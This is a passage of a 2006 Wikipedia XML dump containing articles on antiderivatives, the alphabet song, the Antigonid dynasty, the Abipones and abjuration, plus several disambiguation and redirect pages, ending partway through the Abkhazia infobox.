* The airport code for Boire Field in Nashua, New Hampshire, USA

'''Ash''' is also the name of:

'''Places in the United Kingdom''':
* [[Ash-cum-Ridley]], near Sevenoaks, Kent, England
* [[Ash (near Sandwich)]], Kent, England
* [[Ash, Derbyshire]], England
* [[Ash (near Taunton)]], Somerset, England
* [[Ash (near Yeovil)]], Somerset, England
* [[Ash, Surrey]], England

'''Places in the United States''':
* [[Ash, Texas]] in [[Houston County, Texas]] 
* [[Ash, Missouri]] in [[Monroe County, Missouri]]
* [[Ash, North Carolina]] in [[Brunswick County, North Carolina]]
* [[Ash, Ohio]] in [[Licking County, Ohio]]
* [[Ash, Washington]] in [[Walla Walla County, Washington]]
* [[Ash, Oregon]] in [[Douglas County, Oregon]]
* [[Ash, West Virginia]] in [[Mason County, West Virginia]]
* [[Ash, Georgia]] in [[Paulding County, Georgia]] 

'''Fictional characters''':
* [[Ash Williams]], the anti-hero of the Evil Dead trilogy
* [[Ash Ketchum]], the protagonist in the Pokémon series
* Ash, the phantom guardian of Marona in [[Phantom Brave]]
* [[Science Officer Ash]], the science officer of the ''Nostromo'' in the 1979 film ''Alien''
* [[Ash Crimson]], the latest main character in the King of Fighters game series.
* [[List of Final Fantasy XII characters#Ashe|Ashe]], a character in ''[[Final Fantasy XII]]''.
* Ash, the protagonist of [[Avalon (Japanese film)|Avalon]]

==See also==
* [[Ashes]] for related meanings.
* [[Ashley]]; Ash is a nickname for that name.

{{disambig}}

[[da:Aske]]
[[de:Asche]]
[[es:Ceniza]]
[[fr:Ash]]
[[it:Cenere]]
[[nl:As (verbranding)]]
[[ja:灰]]
[[pl:Popiół]]</text>
    </revision>
  </page>
  <page>
    <title>Antiderivative</title>
    <id>2823</id>
    <revision>
      <id>39900454</id>
      <timestamp>2006-02-16T18:05:11Z</timestamp>
      <contributor>
        <username>Dullfig</username>
        <id>234882</id>
      </contributor>
      <text xml:space="preserve">In [[calculus]], an '''antiderivative''' or  '''primitive function''' of a given [[real number|real valued]] [[function (mathematics)|function]] ''f''  is a function ''F''  whose [[derivative]] is equal to ''f'', i.e., ''F''&amp;prime; = ''f''. The process of solving for antiderivatives is '''antidifferentiation''' (or '''indefinite integration'''). Finding an expression for an antiderivative is harder than calculating a derivative, and may not always be possible.  Antiderivatives are related to [[integral]]s through the [[fundamental theorem of calculus]], and provide a convenient means for calculating the integrals of many functions.

==Example==
The function ''F''(''x'') = ''x''&lt;sup&gt;3&lt;/sup&gt;/3 is an antiderivative of ''f''(''x'') = ''x''&lt;sup&gt;2&lt;/sup&gt;. As the derivative of a [[constant]] is [[0 (number)|zero]], ''x''&lt;sup&gt;2&lt;/sup&gt; will have an [[infinity|infinite]] number of antiderivatives; such as (''x''&lt;sup&gt;3&lt;/sup&gt;/3) + 0, (''x''&lt;sup&gt;3&lt;/sup&gt; / 3) + 7,  (''x''&lt;sup&gt;3&lt;/sup&gt; / 3) &amp;minus; 36, etc. Thus, the antiderivative [[family (mathematics)|family]] of ''x''&lt;sup&gt;2&lt;/sup&gt; is collectively referred to by ''F''(''x'') = (''x''&lt;sup&gt;3&lt;/sup&gt; / 3) + ''C''; where ''C'' is any constant. Essentially, the [[graph of a function|graphs]] of  antiderivatives of a given function are [[vertical translation]]s of each other; each graph's location depending upon the [[Value (mathematics)|value]] of ''C''.

==Uses and properties==
Antiderivatives are important because they can be used to compute [[integral#integral calculus|integrals]], using the [[fundamental theorem of calculus]]: if ''F'' is an antiderivative of the integrable function ''f'', then:

:&lt;math&gt;\int\limits_a^b f(x)\, dx = F(b) - F(a).&lt;/math&gt;

Because of this, the [[set]] of all antiderivatives of a given function ''f'' is sometimes called the '''general integral''' or '''indefinite integral''' of ''f'' and is written using the integral symbol with no bounds:
:&lt;math&gt;\int f(x)\, dx.&lt;/math&gt;
It is critical to remember that an integral is not the same, in general, as the means for evaluating it; and the function that an integral implies stands apart from that means - in the case of single-variable integrals, from antiderivatives.

If ''F'' is an antiderivative of ''f'', and the function ''f'' is defined on some [[interval (mathematics)|interval]], then every other antiderivative ''G'' of ''f'' differs from ''F'' by a constant: there exists a number ''C'' such that ''G''(''x'') = ''F''(''x'') + ''C'' for all ''x''.  ''C'' is called the [[arbitrary constant of integration]]. If the domain of ''F'' is a [[disjoint union]] of two or more intervals, then a different constant of integration may be chosen for each of the intervals. For instance

:&lt;math&gt;F(x)=\begin{cases}-\frac{1}{x}+C_1\quad x&lt;0\\-\frac{1}{x}+C_2\quad x&gt;0\end{cases}&lt;/math&gt;

is the most general antiderivative of &lt;math&gt;f(x)=1/x^2&lt;/math&gt; on its natural domain &lt;math&gt;(-\infty,0)\cup(0,\infty).&lt;/math&gt;

Every [[continuous function]] ''f'' has an antiderivative, and one antiderivative ''F'' is given by the integral of ''f'' with variable upper boundary:
:&lt;math&gt;F(x) = \int\limits_a^x f(t)\,dt.&lt;/math&gt;
Varying the lower boundary produces other antiderivatives (but not necessarily all possible antiderivatives).  This is another formulation of the [[fundamental theorem of calculus]]. 

There are many functions whose antiderivatives, even though they exist, cannot be expressed in terms of [[elementary function]]s (like [[polynomial]]s, [[exponential function]]s, [[logarithm]]s, [[trigonometric function]]s, [[inverse trigonometric function]]s and their combinations).  Examples of these are 
:&lt;math&gt;\int e^{-x^2}\,dx,\qquad \int \frac{\sin(x)}{x}\,dx,\qquad \int\frac{1}{\ln x}\,dx.&lt;/math&gt;

See also [[differential Galois theory]] for a more detailed discussion.

== Techniques of integration ==

Finding antiderivatives is considerably harder than finding derivatives. We have various methods at our disposal:  

* the [[linearity of integration]] allows us to break complicated integrals into simpler ones
* [[integration by substitution]], often combined with [[trigonometric identity|trigonometric identities]] or the [[natural logarithm]]
* [[integration by parts]] to integrate products of functions
* the [[inverse chain rule method]], a special case of integration by substitution
* the method of [[partial fractions in integration]] allows us to integrate all [[rational function]]s (fractions of two polynomials)
* the [[Risch algorithm]]
* integrals can also be looked up in a [[table of integrals]]
* when integrating multiple times, we can use certain additional techniques, see for instance [[double integral]]s and [[coordinates (mathematics)#Polar coordinates|polar coordinates]], the [[Jacobian]] and the [[Stokes theorem]]
* [[computer algebra system]]s can be used to automate some or all of the work involved in the symbolic techniques above, which is particularly useful when the algebraic manipulations involved are very complex or lengthy
* if a function has no elementary antiderivative (for instance, exp(''x''&lt;sup&gt;2&lt;/sup&gt;)), its integral can be approximated using [[numerical integration]]

== Antiderivatives of non-continuous functions ==

To illustrate some of the subtleties of the [[Fundamental Theorem of Calculus|fundamental theorem of calculus]], it is instructive to consider what kinds of non-continuous functions might have antiderivatives. While there are still open questions in this area, it is known that:

* Some highly pathological functions with large sets of discontinuities may nevertheless have antiderivatives.&lt;/li&gt;
* In some cases, the antiderivatives of such pathological functions may be found by [[Riemann integral|Riemann integration]], while in other cases these functions are not Riemann integrable.

We first state some general facts and then provide some illustrative examples. Throughout, we assume that the domains of our functions are open intervals.

&lt;ul&gt;
&lt;li&gt;A necessary, but not sufficient, condition for a function ''f'' to have an antiderivative is that ''f'' have the [[intermediate value theorem|intermediate value property]]. That is, if [''a'',''b''] is a subinterval of the domain of ''f'' and ''d'' is any real number between ''f''(''a'') and ''f''(''b''), then ''f''(''c'')=''d'' for some ''c'' between ''a'' and ''b''. To see this, let ''F'' be an antiderivative of ''f'' and consider the continuous function ''g''(''x'')=''F''(''x'')-''dx'' on the closed interval [''a'', ''b'']. Then ''g'' must have either a maximum or minimum ''c'' in the open interval (''a'',''b'') and so 0=''g''&amp;prime;(''c'')=''f''(''c'')-''d''.&lt;li&gt;
&lt;li&gt;The set of discontinuities of ''f'' must be a [[Baire space#Historical definition|meagre set]]. This set must also be an [[F-sigma]] set (since the set of discontinuities of any function must be of this type).  Moreover for any meagre F-sigma set, one can construct some function ''f'' having an antiderivative, which has the given set as its set of discontinuities.&lt;/li&gt;
&lt;li&gt;If ''f'' has an antiderivative, is [[boundedness|bounded]] on closed finite subintervals of the domain and has a set of discontinuities of [[Lebesgue measure]] 0, then an antiderivative may be found by integration.&lt;/li&gt;
&lt;li&gt;If ''f'' has an antiderivative ''F'' on a closed interval [''a'',''b''], then for any choice of partition &lt;math&gt;a=x_0&lt;x_1&lt;x_2&lt;\dots&lt;x_n=b&lt;/math&gt;, if one chooses sample points &lt;math&gt;x_i^*\in[x_{i-1},x_i]&lt;/math&gt; as specified by the [[mean value theorem]], then the corresponding Riemann sum [[telescoping series|telescopes]] to the value ''F''(''b'')-''F''(''a'').
:&lt;math&gt;\sum_{i=1}^n f(x_i^*)(x_i-x_{i-1}) = \sum_{i=1}^n [F(x_i)-F(x_{i-1})] = F(x_n)-F(x_0) = F(b)-F(a)&lt;/math&gt;
However if the set of discontinuities of ''f'' has positive Lebesgue measure, a different choice of sample points &lt;math&gt;x_i^*&lt;/math&gt; will give a significantly different value for the Riemann sum, no matter how fine the partition. See Example 4 below.&lt;/li&gt;
&lt;/ul&gt;

=== Some examples ===

&lt;ol&gt;
&lt;li&gt;The function 
:''f''(''x'') = 2''x'' sin (1/''x'') - cos(1/''x'') 
with ''f''(0) = 0 is not continuous at ''x'' = 0 but has the antiderivative ''F''(''x'') = ''x''&lt;sup&gt;2&lt;/sup&gt; sin(1/''x'') with ''F''(0) = 0. Since ''f'' is bounded on closed finite intervals and is only discontinuous at 0, the antiderivative ''F'' may be obtained by integration: &lt;math&gt;F(x)=\int_0^x f(t)\,dt&lt;/math&gt;.
&lt;/li&gt;
&lt;li&gt;The function 

:&lt;math&gt;f(x)=2x\sin\left(\frac{1}{x^2}\right)-\frac{2}{x}\cos\left(\frac{1}{x^2}\right)&lt;/math&gt; 

with ''f''(0) = 0 is not continuous at ''x'' = 0 but has the antiderivative 

:&lt;math&gt;F(x)=x^2\sin\left(\frac{1}{x^2}\right)&lt;/math&gt; 

with ''F''(0) = 0. Unlike Example 1, ''f''(''x'') is unbounded in any interval containing 0, so the Riemann integral is undefined.

&lt;/li&gt;&lt;li&gt; If ''f''(''x'') is the function in Example 1 and ''F'' is its antiderivative, and &lt;math&gt;\{x_n\}_{n\ge1}&lt;/math&gt; is a [[dense set|dense]] [[countable]] subset of the open interval (-1,1), then the function 

:&lt;math&gt;g(x)=\sum_{n=1}^\infty \frac{f(x-x_n)}{2^n}&lt;/math&gt; 

has as antiderivative 

:&lt;math&gt;G(x)=\sum_{n=1}^\infty \frac{F(x-x_n)}{2^n}.&lt;/math&gt; 

The set of discontinuities of ''g'' is precisely the set &lt;math&gt;\{x_n\}_{n\ge1}&lt;/math&gt;. Since ''g'' is bounded on closed finite intervals and the set of discontinuities has measure 0, the antiderivative ''G'' may be found by integration.

&lt;/li&gt;&lt;li&gt;Let &lt;math&gt;\{x_n\}_{n\ge1}&lt;/math&gt; be a [[dense]] [[countable]] subset of the open interval (-1,1). Consider the everywhere continuous strictly increasing function 

:&lt;math&gt;F(x)=\sum_{n=1}^\infty\frac{1}{2^n}(x-x_n)^{1/3}.&lt;/math&gt;

It can be shown that 

:&lt;math&gt;F'(x)=\sum_{n=1}^\infty\frac{1}{3\cdot2^n}(x-x_n)^{-2/3}&lt;/math&gt;
[[image:antideriv1.gif|125px|right|thumb|Figure 1.]] 
[[image:antideriv2.gif|thumb|right|125px|Figure 2.]] 

for all values ''x'' where the series converges, and that the graph of ''F''(''x'') has vertical tangent lines at all other values of ''x''. In particular the graph has vertical tangent lines at all points in the set &lt;math&gt;\{x_n\}_{n\ge1}&lt;/math&gt;. Moreover ''F''&amp;prime;(''x'')&amp;gt;0 for all ''x'' where the derivative is defined. It follows that the inverse function &lt;math&gt;G=F^{-1}&lt;/math&gt; is differentiable everywhere and that &lt;math&gt;g(x)=G'(x)=0&lt;/math&gt; for all ''x'' in the set &lt;math&gt;\{F(x_n)\}_{n\ge1}&lt;/math&gt; which is dense in the interval [''F''(-1),''F''(1)]. Thus ''g'' has an antiderivative ''G''. On the other hand, it can not be true that 

:&lt;math&gt;\int_{F(-1)}^{F(1)}g(x)\,dx=GF(1)-GF(-1)=2,&lt;/math&gt;

since for any partition of [''F''(-1),''F''(1)], one can choose sample points for the Riemann sum from the set &lt;math&gt;\{F(x_n)\}_{n\ge1}&lt;/math&gt;, giving a value of 0 for the sum. It follows that ''g'' has a set of discontinuities of positive Lebesgue measure. Figure 1 on the right shows an approximation to the graph of ''g''(''x'') where &lt;math&gt;\{x_n=\cos(n)\}_{n\ge1}&lt;/math&gt; and the series is truncated to 8 terms. Figure 2 shows the graph of an approximation to the antiderivative ''G''(''x''), also truncated to 8 terms. On the other hand if the Riemann integral is replaced by the [[Lebesgue integral]], then [[Fatou's lemma]] or the [[dominated convergence theorem]] shows that ''g'' does satisfy the fundamental theorem of calculus in that context.
&lt;/li&gt;

&lt;li&gt;In Examples 3 and 4, the sets of discontinuities of the functions ''g'' are dense only in a finite open interval (''a'',''b''). However these examples can be easily modified so as to have  sets of discontinuities which are dense on the entire real line &lt;math&gt;(-\infty,\infty)&lt;/math&gt;. Let
:&lt;math&gt;\lambda(x) = \frac{a+b}{2} + \frac{b-a}{\pi}\tan^{-1}(x)&lt;/math&gt;
Then &lt;math&gt;g\left(\lambda(x)\right)\lambda'(x)&lt;/math&gt; has a dense set of discontinuities on  &lt;math&gt;(-\infty,\infty)&lt;/math&gt; and has antiderivative &lt;math&gt;G\cdot\lambda.&lt;/math&gt;&lt;/li&gt;

&lt;li&gt;Using a similar method as in Example 5, one can modify ''g'' in Example 4 so as to vanish at all [[rational numbers]]. If one uses a naive version of the [[Riemann integral]] defined as the limit of left-hand or right-hand Riemann sums over regular partitions, one will obtain that the integral of such a function ''g'' over an interval [''a'',''b''] is 0 whenever ''a'' and ''b'' are both rational, instead of ''G''(''b'')-''G''(''a'').  Thus the fundamental theorem of calculus will fail spectacularly.&lt;/li&gt;
&lt;/ol&gt;

== References ==

* ''Introduction to Classical Real Analysis'', by Karl R. Stromberg; Wadsworth, 1981 (see [http://groups.google.com/group/sci.math/browse_frm/thread/8d900a2d79429d43/0ba4ff0d46efe076?lnk=st&amp;q=&amp;rnum=19&amp;hl=en#0ba4ff0d46efe076 also])
* ''Historical Essay On Continuity Of Derivatives'', by Dave L. Renfro; http://groups.google.com/group/sci.math/msg/814be41b1ea8c024

[[Category:Integral calculus]]

[[ar:اشتقاق عكسي]]
[[de:Stammfunktion]]
[[es:Integral y función primitiva]]
[[fr:Primitive (mathématiques)]]
[[lt:Pirmykštė funkcija]]
[[nl:Primitieve (functie)]]
[[ja:不定積分]]
[[pl:Funkcja pierwotna]]
[[ru:Первообразная]]
[[su:Antiderivative]]
[[sv:Primitiv funktion]]
[[tr:İlkel fonksiyon]]
[[zh:原函数]]</text>
    </revision>
  </page>
  <page>
    <title>Alphabet song</title>
    <id>2824</id>
    <revision>
      <id>41324281</id>
      <timestamp>2006-02-26T16:09:30Z</timestamp>
      <contributor>
        <username>HJMG</username>
        <id>948623</id>
      </contributor>
      <comment>verifying historical info</comment>
      <text xml:space="preserve">{{cleanup-verify}}

The '''alphabet song''' is a popular tool used to help teach children the [[Latin alphabet]], commonly known by children as &quot;the A-B-C's.&quot; It is used in [[kindergarten]]s, [[pre-school]]s and homes around the world. It is sung to the widely-known French folk tune &quot;Ah! Vous Dirais-je, Maman&quot;, perhaps best-known as the melody of &quot;Twinkle Twinkle Little Star&quot;, and also well-known as a set of Mozart piano variations on a theme.

The song was first copyrighted by Charles Bradlee, music publisher, in Boston, USA in 1835, with the title, &quot;The A.B.C., a German air with variations for the flute with an easy accompaniment for the piano forte&quot;. The musical arrangement was attributed to Louis Le Maire (sometimes Lemaire), an 18th century composer. This was &quot;Entered according to act of Congress, in the year 1835, by C. Bradlee, in the clerk's office of the District Court of Massachusetts&quot;, according to the Newberry Library catalog, which also says, &quot;The theme is that used by Mozart for his piano variations, Ah, vous dirai-je, maman.&quot; 

The alphabet song is sometimes said to come from another of Bradlee's publications, &quot;The Schoolmaster&quot;, but the first line of that song is given as &quot;Come, come my children, I must see&quot;, in Yale University's library catalog.  It is described as &quot;a favorite glee for three voices, as sung at the Salem glee club.&quot;


Lyrics: ''(each line represents a measure, or four beats)''
:''a-b-c-d-e-f-g''
:''h-i-j-k-l-m-n-o-p'' (l-m-n-o spoken twice as quickly as rest of rhyme)
:''q-r-s, t-u-v'' (the comma denotes a short pause)
:''w-x, y and z'' (pronounced &quot;zed&quot; in most English-speaking countries, but &quot;zee&quot; in the U.S. and sometimes elsewhere)
:''Now I've sung my A, B, C's''
:''Tell me what you think of me.''

A variant changes the last two lines to:
:''Now I know my A, B, C's''
:''Won't you come and play with me.''
...or...
:''Next time won't you sing with me.''

Variants of the song are used in [[Commonwealth of Nations|Commonwealth]] countries (and former Commonwealth regions where English is in significant use, such as [[Hong Kong]]), which pronounce the letter [[Z]] as &quot;''zed''&quot;.  One variation shortens the second line and lengthens the last, to form a near-rhyme between [[N]] and [[Z]] (zed):

:''a-b-c-d-e-f-g''
:''h-i-j-k-l-m-n''
:''o-p-q, r-s-t''
:''u-v-w, x-y-z''

Other variants make significantly more changes in order to rhyme with &quot;zed&quot;, and even alter the rest of the song to fit a new rhythm. For example:
:''a-b-c-d-e-f-g''
:''h-i-j-k-lmnop''
:''lmnop-q-r-s-t''
:''u-v-w-x-y-z''
:''x-y-z.''
:''Butter on your bread''
:''If you don't like it you'll have to go to bed.''


The song can be heard [http://evaeaston.com/pr/alphabet.html here], by selecting the &quot;The Alphabet Song&quot; link directly under the chart.



The alphabet song's popularity inspired [[comedian]] [[Steven Wright]] to quip, &quot;Why is the [[Latin alphabet|alphabet]] in that order?  Is it because of ''that song?''&quot;

There is a common misconception among young children, due to the way &quot;l-m-n-o-p&quot; is sung faster than the rest of the letters, that there is a single letter called &quot;elemenopee&quot;.

A joke variation sung by children to each other is to sing the whole song except the &quot;P&quot;. 
The listener then asks &quot;Where's the P?&quot;  To this the child in jest responds &quot;Running down your knee&quot; (interpreting the &quot;P&quot; as &quot;[[Pee]]&quot;).

----
There is a version of the alphabet song using a different melody taught by some pre-schools that use the [[phonics]] method.

:''What does the A say?  Ay Aa Ah'' (the vowels are sounded completely)
:''What does the B say?  B* B* B*'' (only the leading sound of consonants are sung in the response part)
:''What does the C say?  K* K* K*'' 
:''What does the D say?  D* D* D*''
:''What does the E say?  Ee and Eh''
:. . . 
(continue for each letter with several slightly different melodies) 
:. . .
:''What does the X say?  Ks Ks Ks''
:''What does the Y say?  Y* Y* Y*''
:''What does the Z say?  Zzz Zzz Zzz''

:''What do you call these phones and sounds?''
:''English alphabet letters.''
:''Yeah!''

This song teaches children that each letter has a name and sounds. Just like a [[dog]] says &quot;woof&quot; and a [[cat]] says &quot;meow&quot;, the &quot;I&quot; says &quot;eye&quot; and &quot;ee&quot;.

----
Another variant popular at many children's summer camps goes:

:''A: you're an alphabet''
:''B: you're a belly button''
:''C: you're a cantaloupe with arms''
:''D: you're delirious''
:''E: you're an elephant''
:''F: you're the fairy of my arms''
:''G: you're a goony goon''
:''H: you're a hairy loon''
:''I: you're an icky dicky doo''
:''J: you've got joppy knees''
:''k: klaustrophobia (sp)''
:''l: you've got leprosy too!''
:''M, N: you're a maniac''
:''O: you're an octopus-pus-pus-pus''
:''P:, Q: particularly queer''
:''R, S, T,: responsible for stupid things''
:''U: pick your nose in bed''
:''V: you're a vomit head''
:''W, X, Y, Z''

==See also==

*[[ABC-DEF-GHI]], a song sung by [[Big Bird]] of ''[[Sesame Street]]''
*[[The Elements (song)|The Elements]], a [[mnemonic]] song of the [[periodic table]] by [[Tom Lehrer]]
*[[Elemeno P]], a [[New Zealand]] [[rock band]] whose name is derived from the alphabet song

[[Category:1834 songs]]
[[Category:19th century songs]]
[[Category:Nursery rhymes]]

[[sv:Alfabetsvisan]]
[[th:เพลงตัวอักษรของภาษาอังกฤษ]]</text>
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  </page>
  <page>
    <title>Antigonid dynasty</title>
    <id>2826</id>
    <revision>
      <id>34604495</id>
      <timestamp>2006-01-10T10:36:33Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">The '''Antigonid dynasty''' was a dynasty of [[Macedon|Macedonian]] kings descended from [[Alexander the Great|Alexander the Great's]] general [[Antigonus I Monophthalmus]] (&quot;the One-eyed&quot;). Antigonus himself ruled mostly over Asia Minor and northern Syria.  His attempts to take control of the whole of Alexander's empire led to his defeat and death at the [[Battle of Ipsus]] in [[301 BC]]. Antigonus's son [[Demetrius I Poliorcetes]] survived the battle, and managed to seize control of Macedon itself a few years later, but eventually lost his throne, dying in prison. After a period of confusion, Demetrius's son [[Antigonus II Gonatas]] was able to establish the family's control over the old Kingdom of Macedon, as well as over most of the Greek city-states, by [[276 BC]].

It was one of three such empires, the others being the [[Seleucid dynasty]] and [[Ptolemaic dynasty]]. The dynasty ended with the [[Roman empire|Roman]] domination of the area after the [[Battle of Pydna]] in [[168 BC]]. 

The members of the Antingonid dynasty were:
*[[Antigonus I Monophthalmus]]
*[[Demetrius I Poliorcetes]] ([[294 BC]]-[[287 BC]])
*[[Antigonus II Gonatas]] ([[276 BC]]-[[239 BC]])
*[[Demetrius II of Macedon|Demetrius II]] (239 BC-[[229 BC]])
*[[Antigonus III Doson]] (229 BC - [[221 BC]])
*[[Philip V of Macedon|Philip V]] (221 BC-[[179 BC]])
*[[Perseus of Macedon|Perseus]] (179 BC-[[168 BC]])

[[Category:Macedonian monarchs]]

[[de:Antigoniden]]
[[es:Dinastía Antigónida]]
[[fr:Antigonides]]
[[hr:Antigonidi]]
[[nl:Antigoniden]]</text>
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  </page>
  <page>
    <title>Abingdon</title>
    <id>2827</id>
    <revision>
      <id>37636297</id>
      <timestamp>2006-02-01T05:29:20Z</timestamp>
      <contributor>
        <username>Lockley</username>
        <id>207616</id>
      </contributor>
      <comment>correct ref</comment>
      <text xml:space="preserve">'''Abingdon''' may refer to the following places:

*The eponymous [[Abingdon, Oxfordshire]]
*[[Abingdon, Ontario]], Canada
*[[Abingdon, Iowa]], USA
*[[Abingdon, Illinois]], USA
*[[Abingdon, Maryland]], USA
*[[Abingdon, North Carolina]], USA
*[[Abingdon, South Carolina]], USA
*[[Abingdon, Virginia]], USA
*[[Abingdon Magisterial District, Virginia]], USA

It may also refer to:

*[[Abingdon (1902 automobile)]]
*[[Abingdon (1922 automobile)]]

{{geodis}}

[[de:Abingdon]]
[[io:Abingdon]]
[[sv:Abingdon]]</text>
    </revision>
  </page>
  <page>
    <title>Abipones</title>
    <id>2828</id>
    <revision>
      <id>27957298</id>
      <timestamp>2005-11-10T21:12:45Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">The '''Abipones''' were a tribe of [[South America]]n Indians of Guaycuran stock recently inhabiting the territory lying between Santa Fe and St. Iago.  They originally occupied the Chaco district of [[Paraguay]], but were driven south by the hostility of the Spaniards and other native tribes.  According to [[Martin Dobrizhoffer]], a Jesuit missionary, who, towards the end of the [[18th century]], lived among them for a period of seven years, they then numbered not more than 5,000.  They were a well-formed, handsome people, with black eyes and aquiline noses, thick black hair, but no beards.  The hair from the forehead to the crown of the head was pulled out, this constituting a tribal mark.  The faces, breasts and arms of the women were covered with black figures of various designs made with thorns, the tattooing paint being a mixture of ashes and blood.  The lips and ears of both sexes were pierced.  The men were brave fighters, their chief weapons being the bow and spear.  No child was without bow and arrows; the bow-strings were made of foxes' entrails.  In battle the Abipones wore an armour of tapir's hide over which a jaguar's skin was sewn.  They were excellent swimmers and good horsemen.  For five months in the year when the floods were out they lived on islands or even in shelters built in the trees.  They seldom married before the age of thirty, and were singularly chaste.  

&quot;With the Abipones,&quot; wrote [[Charles Darwin]] in ''The Descent of Man'', &quot;when a man chooses a wife, he bargains with the parents about the price.  But it frequently happens that the girl rescinds what has been agreed upon between the parents and bridegroom, obstinately rejecting the very mention of marriage.  She often runs away and hides herself, and thus eludes the bridegroom.&quot;  [[Infanticide]] was systematic, never more than two children being reared in one family, a custom doubtless originating in the difficulty of subsistence.  The young were suckled for two years.  The Abipones are now believed to be extinct as a tribe. 

Martin Dobrizhoffer's [[Latin]] ''Historia de Abiponibus'' ([[Vienna]], [[1784]]) was translated into [[English language|English]] by [[Sara Coleridge]], at the suggestion of [[Robert Southey]], in [[1822]], under the title of ''An Account of the Abipones'' (3 vols.).

==References==
*{{1911}}</text>
    </revision>
  </page>
  <page>
    <title>Abitibbi</title>
    <id>2829</id>
    <revision>
      <id>15901215</id>
      <timestamp>2004-10-12T19:39:07Z</timestamp>
      <contributor>
        <ip>66.102.74.57</ip>
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      <text xml:space="preserve">#REDIRECT [[Abitibi River]]</text>
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  </page>
  <page>
    <title>Abjuration</title>
    <id>2830</id>
    <revision>
      <id>36172161</id>
      <timestamp>2006-01-22T03:44:07Z</timestamp>
      <contributor>
        <username>Neutrality</username>
        <id>68411</id>
      </contributor>
      <comment>Categories.</comment>
      <text xml:space="preserve">'''Abjuration''' is the solemn repudiation, abandonment, or renunciation by or upon [[oath]], often the renunciation of [[citizenship]] or some other [[right]] or [[privilege]]. It comes from the [[Latin language|Latin]] ''abjurare'', &quot;to forswear&quot;).

'''Abjuration of the realm''' was a type of abjuration in ancient [[English law]] that was a renunciation of citizenship, a type of self-imposed exile. The person taking the oath swore never to return to the kingdom unless by permission. This was often taken by fugitives who had taken [[sanctuary]]: 
:''I swear on the Holy Book that I will leave the realm of England and never return without the express permission of my Lord the King or his heirs. I will hasten by the direct road to the port allotted to me and not leave the King's highway under pain of arrest or execution. I will not stay at one place more than one night and will seek diligently for a passage across the sea as soon as I arrive, delaying only one tide if possible. If I cannot secure such passage, I will walk into the sea up to my knees every day as a token of my desire to cross. And if I fail in all this, then peril shall be my lot.''

In [[England]], an oath of abjuration was taken by [[Parliament of the United Kingdom|members of Parliament]], clergy, and laymen, pledging to support the current [[British monarchy|British monach]] and repudiated the right of the [[House of Stuart|Stuarts]] and other [[pretender]]s to the throne. This oath was imposed under [[William III of England|William III]], [[George I of the United Kingdom|George I]] and [[George I of the United Kingdom|George III]]. It was superseded by the [[oath of allegiance]].

Another famous oath of abjuration was [[Oath of Abjuration|Plakkaat van Verlatinghe]] of July 26, 1581, the formal [[declaration of independence]] of the northern [[Low Countries]] from the [[Spanish monarchy|Spanish king]], [[Philip II|Philip II]]. This oath was the climax of the [[Eighty Years' War]] (Dutch Revolt).

==Sources==
*Black, Henry Campbell, and Bryan A. Garner (editors). ''Black's Law Dictionary'' (7th edition). West: 1999. ISBN 0314228640. 
*Knight, Bernard. &quot;Crowner Part 4: The Right of Sanctuary.&quot;&lt;sup&gt;[http://www.britannia.com/history/articles/coroner4.html]&lt;/sup&gt;
*Meehan, Andrew B. &quot;Abjuration.&quot; ''The Catholic Encylopedia''. 1907. &lt;sup&gt;[http://www.newadvent.org/cathen/01044d.htm]&lt;/sup&gt;
[[Category:Legal terms]]
[[Category:Oaths]]</text>
    </revision>
  </page>
  <page>
    <title>Abkhasia</title>
    <id>2831</id>
    <revision>
      <id>15901217</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abkhazia]]
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    </revision>
  </page>
  <page>
    <title>Abkhazia</title>
    <id>2832</id>
    <revision>
      <id>42125910</id>
      <timestamp>2006-03-04T00:09:09Z</timestamp>
      <contributor>
        <username>Khoikhoi</username>
        <id>657950</id>
      </contributor>
      <comment>the article has now been moved</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%; width: 300px;&quot;
|+&lt;big&gt;&lt;big&gt;'''Аҧсны/აფხაზეთი/Абхазия&lt;br&gt;Apsny/Apxazeti/Abhazia'''&lt;/big&gt;&lt;/big&gt;
|-
| align=&quot;center&quot; colspan=&quot;2&quot; style=&quot;background-color: #f9f9f9;&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
| align=&quot;center&quot; width=&quot;296&quot; | [[Image:Flag of Abkhazia.svg|160px]]
| align=&quot;center&quot; width=&quot;296&quot; | [[Image:Abkhasia g.gif|80px]]
|-
| align=&quot;center&quot; width=&quot;296&quot; | [[Flag of Abkhazia|Flag]]
| align=&quot;center&quot; width=&quot;296&quot; | [[Coat of Arms of Abkhazia|Coat of Arms]]
|}
|-
| align=&quot;center&quot; colspan=&quot;2&quot; style=&quot;background-color: #f9f9f9;&quot; | [[Image:Abkhazia detail map.png|250px]]
|-

|-
| '''[[Official language]]s'''
| [[Abkhaz language|Abkhaz]], [[Russian language|Russian]]
|-
| '''Political status''' || De Facto Independent
|-
| '''[[Capital]]''' || [[Sukhum]]
|-
| '''Capital's [[coordinate]]s''' || {{coor dm|43|01|N|41|02|E|}}
|-
| '''President'''¹ || [[Sergei Bagapsh]]
|-
| '''Prime Minister'''¹ || [[Alexander Ankvab]]
|-
| colspan=&quot;2&quot; | &lt;small&gt;¹ De-facto government&lt;/small&gt;
|-
| '''Chairman of the&lt;br&gt;Supreme Council'''²
| [[Temur Mzhavia]]
|-
| '''Chairman of Cabinet of Ministers'''²
| [[Irakli Alasania]]
|-
| colspan=&quot;2&quot; | &lt;small&gt;² Pro-Georgian Government in exile&lt;/small&gt;
|- valign=&quot;top&quot;
| '''[[Independence]]'''&lt;br&gt;&amp;nbsp;&amp;ndash; Declared&lt;br&gt;&amp;nbsp;&amp;ndash; Recognition
| From [[Georgia (country)|Georgia]]&lt;br&gt;&amp;nbsp;[[23 July]] [[1992]]&lt;br&gt;&amp;nbsp;none
|-
